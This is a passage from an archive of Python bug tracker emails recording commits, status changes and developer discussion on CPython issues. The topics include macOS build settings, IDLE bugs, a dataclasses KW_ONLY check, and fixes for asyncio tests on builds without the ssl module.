<1618442168.97.0.98960637018.issue43851@roundup.psfhosted.org> Message-ID: <1620002262.65.0.650617208473.issue43851@roundup.psfhosted.org> Ned Deily added the comment: New changeset 555cbbe7c10c29ec4358c66c247b8d7e871a5f7b by Erlend Egeberg Aasland in branch 'master': bpo-43851: Build SQLite with SQLITE_OMIT_AUTOINIT on macOS (GH-25413) https://github.com/python/cpython/commit/555cbbe7c10c29ec4358c66c247b8d7e871a5f7b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 21:04:25 2021 From: report at bugs.python.org (Larry Hastings) Date: Mon, 03 May 2021 01:04:25 +0000 Subject: [issue37923] Combining typing.get_type_hints and inspect.signature In-Reply-To: <1566539041.61.0.905400107157.issue37923@roundup.psfhosted.org> Message-ID: <1620003865.83.0.184186367424.issue37923@roundup.psfhosted.org> Larry Hastings added the comment: "Type hints" and "annotations" aren't the same thing. And type hints are more opinionated about the values of annotations than would be appropriate for the inspect module. For example, typing.get_type_hints() wraps strings with ForwardRef, turns None into NoneType, and it ignores objects with a "__no_type_check__" attribute. So, I think it might be okay to *add* a *new* function to the typing module that was equivalent to inspect.signature() (and typing.signature() seems like a good name here). I don't use type hints, so I don't have a strong opinion on that either way. But you definitely shouldn't modify inspect.signature() so it produces type hints. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 21:04:40 2021 From: report at bugs.python.org (Larry Hastings) Date: Mon, 03 May 2021 01:04:40 +0000 Subject: [issue37923] Combining typing.get_type_hints and inspect.signature In-Reply-To: <1566539041.61.0.905400107157.issue37923@roundup.psfhosted.org> Message-ID: <1620003880.42.0.160647802626.issue37923@roundup.psfhosted.org> Change by Larry Hastings : ---------- nosy: -larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 21:26:11 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 03 May 2021 01:26:11 +0000 Subject: [issue43926] Clean metadata (importlib_metadata 4.0) In-Reply-To: <1619210744.46.0.218619498947.issue43926@roundup.psfhosted.org> Message-ID: <1620005171.3.0.026400567744.issue43926@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 21:29:10 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 01:29:10 +0000 Subject: [issue42362] Switch to clang as default compiler in build-installer.py In-Reply-To: <1605451168.78.0.88186037593.issue42362@roundup.psfhosted.org> Message-ID: <1620005350.33.0.101998176735.issue42362@roundup.psfhosted.org> miss-islington added the comment: New changeset 90d523910a61290597b4599f17363b532f0a4411 by Ronald Oussoren in branch 'master': bpo-42362: Switch to clang/clang++ as the default compiler in build-installer.py (GH-23298) https://github.com/python/cpython/commit/90d523910a61290597b4599f17363b532f0a4411 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 21:30:02 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 01:30:02 +0000 Subject: [issue42362] Switch to clang as default compiler in build-installer.py In-Reply-To: <1605451168.78.0.88186037593.issue42362@roundup.psfhosted.org> Message-ID: <1620005402.12.0.365023767401.issue42362@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 22:21:57 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 May 2021 02:21:57 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1620008517.62.0.228752359263.issue25478@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- pull_requests: +24516 pull_request: https://github.com/python/cpython/pull/25829 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 22:27:46 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 May 2021 02:27:46 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1620008866.4.0.293568728917.issue37903@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset b43cc31a270d0dacbc69e35d6c6fbdb5edd7e711 by Tal Einat in branch 'master': bpo-37903: IDLE: add shell sidebar mouse interactions (GH-25708) https://github.com/python/cpython/commit/b43cc31a270d0dacbc69e35d6c6fbdb5edd7e711 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 22:59:03 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 02:59:03 +0000 Subject: [issue41129] setup.py test for macOS SDK files may incorrectly classify files in other file systems In-Reply-To: <1593195068.14.0.719266681703.issue41129@roundup.psfhosted.org> Message-ID: <1620010743.69.0.40513690773.issue41129@roundup.psfhosted.org> Ned Deily added the comment: New changeset d52bbde9421987d216c600557ef5bc931d03efcc by Ned Batchelder in branch 'master': bpo-41129: Fix check for macOS SDK paths when building Python (GH-25785) https://github.com/python/cpython/commit/d52bbde9421987d216c600557ef5bc931d03efcc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:02:58 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 03:02:58 +0000 Subject: [issue41129] setup.py test for macOS SDK files may incorrectly classify files in other file systems In-Reply-To: <1593195068.14.0.719266681703.issue41129@roundup.psfhosted.org> Message-ID: <1620010978.22.0.019539053982.issue41129@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24517 pull_request: https://github.com/python/cpython/pull/25830 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:19:57 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 May 2021 03:19:57 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1620011997.51.0.196023042119.issue25478@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 8c598dbb9483bcfcb88fc579ebf27821d8861465 by Raymond Hettinger in branch 'master': bpo-25478: Add total() method to collections.Counter (GH-25829) https://github.com/python/cpython/commit/8c598dbb9483bcfcb88fc579ebf27821d8861465 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:39:08 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 03:39:08 +0000 Subject: [issue41129] setup.py test for macOS SDK files may incorrectly classify files in other file systems In-Reply-To: <1593195068.14.0.719266681703.issue41129@roundup.psfhosted.org> Message-ID: <1620013148.63.0.652043320306.issue41129@roundup.psfhosted.org> Ned Deily added the comment: New changeset 98035ec93ff0d9875f19027015689734d70c14e5 by Miss Islington (bot) in branch '3.9': bpo-41129: Fix check for macOS SDK paths when building Python (GH-25785) (GH-25830) https://github.com/python/cpython/commit/98035ec93ff0d9875f19027015689734d70c14e5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:41:34 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 03:41:34 +0000 Subject: [issue41129] setup.py test for macOS SDK files may incorrectly classify files in other file systems In-Reply-To: <1593195068.14.0.719266681703.issue41129@roundup.psfhosted.org> Message-ID: <1620013294.23.0.283021413122.issue41129@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the PR, Ned! Fixed in 3.10.0b1 and 3.9.5. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.9 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:44:01 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 03:44:01 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620013441.2.0.276629390252.issue42235@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24518 pull_request: https://github.com/python/cpython/pull/25831 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:44:06 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 03:44:06 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620013446.95.0.415551557307.issue42235@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24519 pull_request: https://github.com/python/cpython/pull/25832 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:43:59 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 03:43:59 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620013439.09.0.703843716273.issue42235@roundup.psfhosted.org> Ned Deily added the comment: New changeset e08059edef3be07ada3058d68ad2c9cc13b7418e by Ronald Oussoren in branch 'master': bpo-42235: [macOS] Use LTO/PGO in build-installer.py with new enough compilers (GH-23079) https://github.com/python/cpython/commit/e08059edef3be07ada3058d68ad2c9cc13b7418e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:45:58 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 03:45:58 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620013558.91.0.984055645428.issue42235@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: -24518 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:46:05 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 03:46:05 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620013565.74.0.552279587734.issue42235@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: -24519 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:49:30 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 03:49:30 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620013770.75.0.269492244467.issue42235@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the PR. I am only going to apply this to the 3.10 branch for now. Perhaps when we have more experience with it, it could be backported to 3.9.x. First appearance in 3.10.0b1. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 23:59:03 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 03:59:03 +0000 Subject: [issue42362] Switch to clang as default compiler in build-installer.py In-Reply-To: <1605451168.78.0.88186037593.issue42362@roundup.psfhosted.org> Message-ID: <1620014343.66.0.166147014494.issue42362@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24520 pull_request: https://github.com/python/cpython/pull/25834 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 00:01:11 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 04:01:11 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620014471.38.0.0929409960323.issue42235@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24521 pull_request: https://github.com/python/cpython/pull/25832 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 00:01:51 2021 From: report at bugs.python.org (R0b0t1) Date: Mon, 03 May 2021 04:01:51 +0000 Subject: [issue29707] os.path.ismount() always returns false for mount --bind on same filesystem In-Reply-To: <1488524974.65.0.103028894103.issue29707@psf.upfronthosting.co.za> Message-ID: <1620014511.33.0.123241458316.issue29707@roundup.psfhosted.org> R0b0t1 added the comment: https://bugs.python.org/issue29707#msg331921 > But what is the problem with getting False for bind mounts on the same filesystem? When doing directory traversal it is important to not duplicate listings. It seems this can cause duplication. I'm replying to echo Mikko Korkalo's sentiment, this really should not have been closed. This should likely be addressed along with https://bugs.python.org/issue23407. ---------- nosy: +R0b0t1 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 00:24:01 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 May 2021 04:24:01 +0000 Subject: [issue42362] Switch to clang as default compiler in build-installer.py In-Reply-To: <1605451168.78.0.88186037593.issue42362@roundup.psfhosted.org> Message-ID: <1620015841.33.0.48720497257.issue42362@roundup.psfhosted.org> Ned Deily added the comment: New changeset c3bfa762214e4fbe25699d75c0412791cefd7094 by Ned Deily in branch 'master': bpo-42362: use clang name on 10.9 builds as well (GH-25834) https://github.com/python/cpython/commit/c3bfa762214e4fbe25699d75c0412791cefd7094 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 00:38:45 2021 From: report at bugs.python.org (Alexei S) Date: Mon, 03 May 2021 04:38:45 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1620016725.42.0.69925327207.issue43583@roundup.psfhosted.org> Change by Alexei S : ---------- components: +Tests type: -> compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 01:51:29 2021 From: report at bugs.python.org (Kris Powell) Date: Mon, 03 May 2021 05:51:29 +0000 Subject: [issue44014] Fix error in Enum documentation. Message-ID: <1620021089.21.0.395770792641.issue44014@roundup.psfhosted.org> New submission from Kris Powell : The example code was referring to the wrong enum `Color`, instead of `Ordinal`. ---------- messages: 392765 nosy: krisaoe priority: normal severity: normal status: open title: Fix error in Enum documentation. type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 01:51:59 2021 From: report at bugs.python.org (Kris Powell) Date: Mon, 03 May 2021 05:51:59 +0000 Subject: [issue44014] Fix error in Enum documentation. In-Reply-To: <1620021089.21.0.395770792641.issue44014@roundup.psfhosted.org> Message-ID: <1620021119.51.0.699182824244.issue44014@roundup.psfhosted.org> Change by Kris Powell : ---------- keywords: +patch pull_requests: +24522 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25837 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 01:55:49 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 05:55:49 +0000 Subject: [issue43347] IDLE crashes in macOS Apple chip, maybe completions In-Reply-To: <1614559444.76.0.552687903275.issue43347@roundup.psfhosted.org> Message-ID: <1620021349.84.0.491546192682.issue43347@roundup.psfhosted.org> Tal Einat added the comment: I'd be happy to look into this but I haven't access to any M-1 Macs at the moment. It would be helpful if someone with an M-1 could try running IDLE from the command line to see if an error message is written when this issue occurs. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 02:09:16 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 06:09:16 +0000 Subject: [issue38946] IDLE on macOS 10.15 Catalina does not open double-clicked files if app already launched In-Reply-To: <1575141041.2.0.751349559914.issue38946@roundup.psfhosted.org> Message-ID: <1620022156.09.0.616570611403.issue38946@roundup.psfhosted.org> Tal Einat added the comment: Any news on this? Ned, ISTM that we should create a separate issue to track your latest observation regarding double-click opening on macOS 11 Big Sur / IDLE 3.10.0a4 / Tcl/Tk 8.6.11. This is marked as "Critical" but given the discussion it seems that this should either be resolved as "won't fix" or have its priority reduced. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 02:09:50 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 May 2021 06:09:50 +0000 Subject: [issue44015] dataclasses: it should be an error to specify KW_ONLY twice Message-ID: <1620022190.44.0.251447946613.issue44015@roundup.psfhosted.org> New submission from Eric V. Smith : Specifying KW_ONLY twice should raise an exception, but does not: >>> @dataclasses.dataclass ... class foo: ... _: dataclasses.KW_ONLY ... x: dataclasses.KW_ONLY ... ---------- assignee: eric.smith components: Library (Lib) messages: 392768 nosy: eric.smith priority: normal severity: normal status: open title: dataclasses: it should be an error to specify KW_ONLY twice type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 02:32:51 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 06:32:51 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620023571.1.0.146514576122.issue44011@roundup.psfhosted.org> Christian Heimes added the comment: The commit has broken multiple build bots, e.g .https://buildbot.python.org/all/#/builders/345/builds/134/steps/5/logs/stdio The new code is missing checks for presence of ssl module. It's an optional component. ---------- nosy: +christian.heimes priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 02:37:20 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 06:37:20 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620023840.29.0.264046034373.issue44011@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24524 pull_request: https://github.com/python/cpython/pull/25840 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 02:38:53 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 06:38:53 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620023933.04.0.408272437018.issue44011@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 02:41:19 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 06:41:19 +0000 Subject: [issue44014] Fix error in Enum documentation. In-Reply-To: <1620021089.21.0.395770792641.issue44014@roundup.psfhosted.org> Message-ID: <1620024079.69.0.461986549206.issue44014@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 02:49:24 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 May 2021 06:49:24 +0000 Subject: [issue43347] IDLE crashes in macOS Apple chip, maybe completions In-Reply-To: <1614559444.76.0.552687903275.issue43347@roundup.psfhosted.org> Message-ID: <1620024564.53.0.907738414895.issue43347@roundup.psfhosted.org> Raymond Hettinger added the comment: There was no command-line error. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:05:26 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 May 2021 07:05:26 +0000 Subject: [issue44015] dataclasses: it should be an error to specify KW_ONLY twice In-Reply-To: <1620022190.44.0.251447946613.issue44015@roundup.psfhosted.org> Message-ID: <1620025526.23.0.637736847384.issue44015@roundup.psfhosted.org> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +24525 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25841 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:16:17 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 07:16:17 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620026177.36.0.95497115815.issue44011@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: The PR made sslproto a hard dependency that even import asyncio fails on non-ssl builds and thus anything that indirectly import asyncio also fails. It seems some of the test modules can be skipped. Some parts of the asyncio codebase already has checks for ssl and has to be done for new parts. Attached is a patch to add more checks but it will be helpful to ensure only relevant parts that absolutely require ssl are skipped. The test_make_socket_transport is slightly tricky since it tries to simulate ssl being not present by patching it but mock does import of sslproto which will fail since SSLAgainErrors is initialized at module level. Perhaps the test can be modified better to only mock if ssl is not present. diff --git a/Lib/asyncio/base_events.py b/Lib/asyncio/base_events.py index e54ee309e4..6ccac76dfb 100644 --- a/Lib/asyncio/base_events.py +++ b/Lib/asyncio/base_events.py @@ -41,13 +41,14 @@ from . import exceptions from . import futures from . import protocols -from . import sslproto from . import staggered from . import tasks from . import transports from . import trsock from .log import logger +if ssl is not None: + from . import sslproto __all__ = 'BaseEventLoop', diff --git a/Lib/asyncio/proactor_events.py b/Lib/asyncio/proactor_events.py index 10852afe2b..ac0dc1978c 100644 --- a/Lib/asyncio/proactor_events.py +++ b/Lib/asyncio/proactor_events.py @@ -19,11 +19,17 @@ from . import futures from . import exceptions from . import protocols -from . import sslproto from . import transports from . import trsock from .log import logger +try: + import ssl +except ImportError: # pragma: no cover + ssl = None + +if ssl is not None: + from . import sslproto def _set_socket_extra(transport, sock): transport._extra['socket'] = trsock.TransportSocket(sock) @@ -826,6 +832,9 @@ def loop(f=None): server, addr, conn) protocol = protocol_factory() if sslcontext is not None: + if ssl is None: + raise RuntimeError('Python ssl module is not available') + self._make_ssl_transport( conn, protocol, sslcontext, server_side=True, extra={'peername': addr}, server=server, diff --git a/Lib/asyncio/selector_events.py b/Lib/asyncio/selector_events.py index 63ab15f30f..9bc9a03699 100644 --- a/Lib/asyncio/selector_events.py +++ b/Lib/asyncio/selector_events.py @@ -23,11 +23,12 @@ from . import events from . import futures from . import protocols -from . import sslproto from . import transports from . import trsock from .log import logger +if ssl is not None: + from . import sslproto def _test_selector_event(selector, fd, event): # Test if the selector is monitoring 'event' events @@ -213,6 +214,9 @@ def _accept_connection( protocol = protocol_factory() waiter = self.create_future() if sslcontext: + if ssl is None: + raise RuntimeError('Python ssl module is not available') + transport = self._make_ssl_transport( conn, protocol, sslcontext, waiter=waiter, server_side=True, extra=extra, server=server, diff --git a/Lib/test/test_asyncio/test_selector_events.py b/Lib/test/test_asyncio/test_selector_events.py index 349e4f2dca..6aaa7a86be 100644 --- a/Lib/test/test_asyncio/test_selector_events.py +++ b/Lib/test/test_asyncio/test_selector_events.py @@ -70,6 +70,7 @@ def test_make_socket_transport(self): close_transport(transport) + @unittest.skipIf(ssl is None, 'No ssl module') @mock.patch('asyncio.selector_events.ssl', None) @mock.patch('asyncio.sslproto.ssl', None) def test_make_ssl_transport_without_ssl_error(self): diff --git a/Lib/test/test_asyncio/test_ssl.py b/Lib/test/test_asyncio/test_ssl.py index 38235c63e0..c58346bcab 100644 --- a/Lib/test/test_asyncio/test_ssl.py +++ b/Lib/test/test_asyncio/test_ssl.py @@ -1,3 +1,8 @@ +from test.support import import_helper + +# Skip tests if we don't have ssl +import_helper.import_module('ssl') + import asyncio import asyncio.sslproto import contextlib diff --git a/Lib/test/test_asyncio/test_sslproto.py b/Lib/test/test_asyncio/test_sslproto.py index 79a81bd8c3..2edbb11b58 100644 --- a/Lib/test/test_asyncio/test_sslproto.py +++ b/Lib/test/test_asyncio/test_sslproto.py @@ -11,6 +11,9 @@ except ImportError: ssl = None +# Skip tests if we don't have ssl +support.import_helper.import_module('ssl') + import asyncio from asyncio import log from asyncio import protocols ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:25:01 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 May 2021 07:25:01 +0000 Subject: [issue44015] dataclasses: it should be an error to specify KW_ONLY twice In-Reply-To: <1620022190.44.0.251447946613.issue44015@roundup.psfhosted.org> Message-ID: <1620026701.54.0.461355700598.issue44015@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 99ad742ea913e421d012c1a623029eac31bdfe85 by Eric V. Smith in branch 'master': bpo-44015: dataclasses should allow KW_ONLY to be specified only once per class (GH-25841) https://github.com/python/cpython/commit/99ad742ea913e421d012c1a623029eac31bdfe85 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:26:01 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 May 2021 07:26:01 +0000 Subject: [issue44015] dataclasses: it should be an error to specify KW_ONLY twice In-Reply-To: <1620022190.44.0.251447946613.issue44015@roundup.psfhosted.org> Message-ID: <1620026761.6.0.0857622621542.issue44015@roundup.psfhosted.org> Change by Eric V. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:27:00 2021 From: report at bugs.python.org (Miguel Brito) Date: Mon, 03 May 2021 07:27:00 +0000 Subject: [issue43913] unittest module cleanup functions not run unless tearDownModule() is defined In-Reply-To: <1619112603.21.0.888509270435.issue43913@roundup.psfhosted.org> Message-ID: <1620026820.24.0.718754070115.issue43913@roundup.psfhosted.org> Miguel Brito added the comment: Thanks terry.reedy, actually I read it in the mailing list, someones comment not a guideline. Do you mind having a look at the PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:32:22 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 07:32:22 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620027142.34.0.870983045127.issue44011@roundup.psfhosted.org> Christian Heimes added the comment: PR GH-25840 fixes most issues. Gentoo with X buildbot https://buildbot.python.org/all/#builders/465/builds/23 has one failing test. ====================================================================== ERROR: test_create_server_ssl_over_ssl (test.test_asyncio.test_ssl.TestSSL) ---------------------------------------------------------------------- asyncio.exceptions.CancelledError During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/buildbot/buildarea/cpython/pull_request.ware-gentoo-x86.installed/build/target/lib/python3.10/asyncio/tasks.py", line 458, in wait_for fut.result() asyncio.exceptions.CancelledError The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/buildbot/buildarea/cpython/pull_request.ware-gentoo-x86.installed/build/target/lib/python3.10/test/test_asyncio/test_ssl.py", line 1157, in test_create_server_ssl_over_ssl self.loop.run_until_complete(start_server()) File "/buildbot/buildarea/cpython/pull_request.ware-gentoo-x86.installed/build/target/lib/python3.10/asyncio/base_events.py", line 644, in run_until_complete return future.result() File "/buildbot/buildarea/cpython/pull_request.ware-gentoo-x86.installed/build/target/lib/python3.10/test/test_asyncio/test_ssl.py", line 1150, in start_server await asyncio.wait_for(asyncio.gather(*tasks), TIMEOUT) File "/buildbot/buildarea/cpython/pull_request.ware-gentoo-x86.installed/build/target/lib/python3.10/asyncio/tasks.py", line 460, in wait_for raise exceptions.TimeoutError() from exc asyncio.exceptions.TimeoutError ---------------------------------------------------------------------- ---------- nosy: -xtreak type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:39:05 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 07:39:05 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620027545.71.0.182912707805.issue44011@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 37ebdf0a866457ce825d0ff6e498a10938895760 by Christian Heimes in branch 'master': bpo-44011: Fix asyncio tests without ssl module (GH-25840) https://github.com/python/cpython/commit/37ebdf0a866457ce825d0ff6e498a10938895760 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:41:57 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 07:41:57 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620027717.13.0.49901487793.issue44011@roundup.psfhosted.org> Christian Heimes added the comment: I have merged my PR to unblock buildbots. Karthikeyan has made suggestions how to improve the tests even further. CI also had some issues with OpenSSL 3.0.0-alpha15. Please run the tests with new OpenSSL version, too. "make multissltest" automates download, compilation, local installation, and testing. ---------- assignee: -> asvetlov priority: release blocker -> critical _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 03:43:09 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Mon, 03 May 2021 07:43:09 +0000 Subject: [issue42725] PEP 563: Should the behavior change for yield/yield from's In-Reply-To: <1608730131.08.0.595189962302.issue42725@roundup.psfhosted.org> Message-ID: <1620027789.15.0.190554673977.issue42725@roundup.psfhosted.org> Batuhan Taskaya added the comment: New changeset ad106c68eb00f5e4af2f937107baff6141948cee by Batuhan Taskaya in branch 'master': bpo-42725: Render annotations effectless on symbol table with PEP 563 (GH-25583) https://github.com/python/cpython/commit/ad106c68eb00f5e4af2f937107baff6141948cee ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 04:04:55 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 08:04:55 +0000 Subject: [issue44016] Enum related deprecation warnings in test_httpservers and test_faulthandler Message-ID: <1620029095.2.0.0849109876545.issue44016@roundup.psfhosted.org> New submission from Karthikeyan Singaravelan : These warnings seem to be related to changes in issue43945 ./python -Wall -m test test_httpservers test_faulthandler 0:00:00 load avg: 4.83 Run tests sequentially 0:00:00 load avg: 4.83 [1/2] test_httpservers 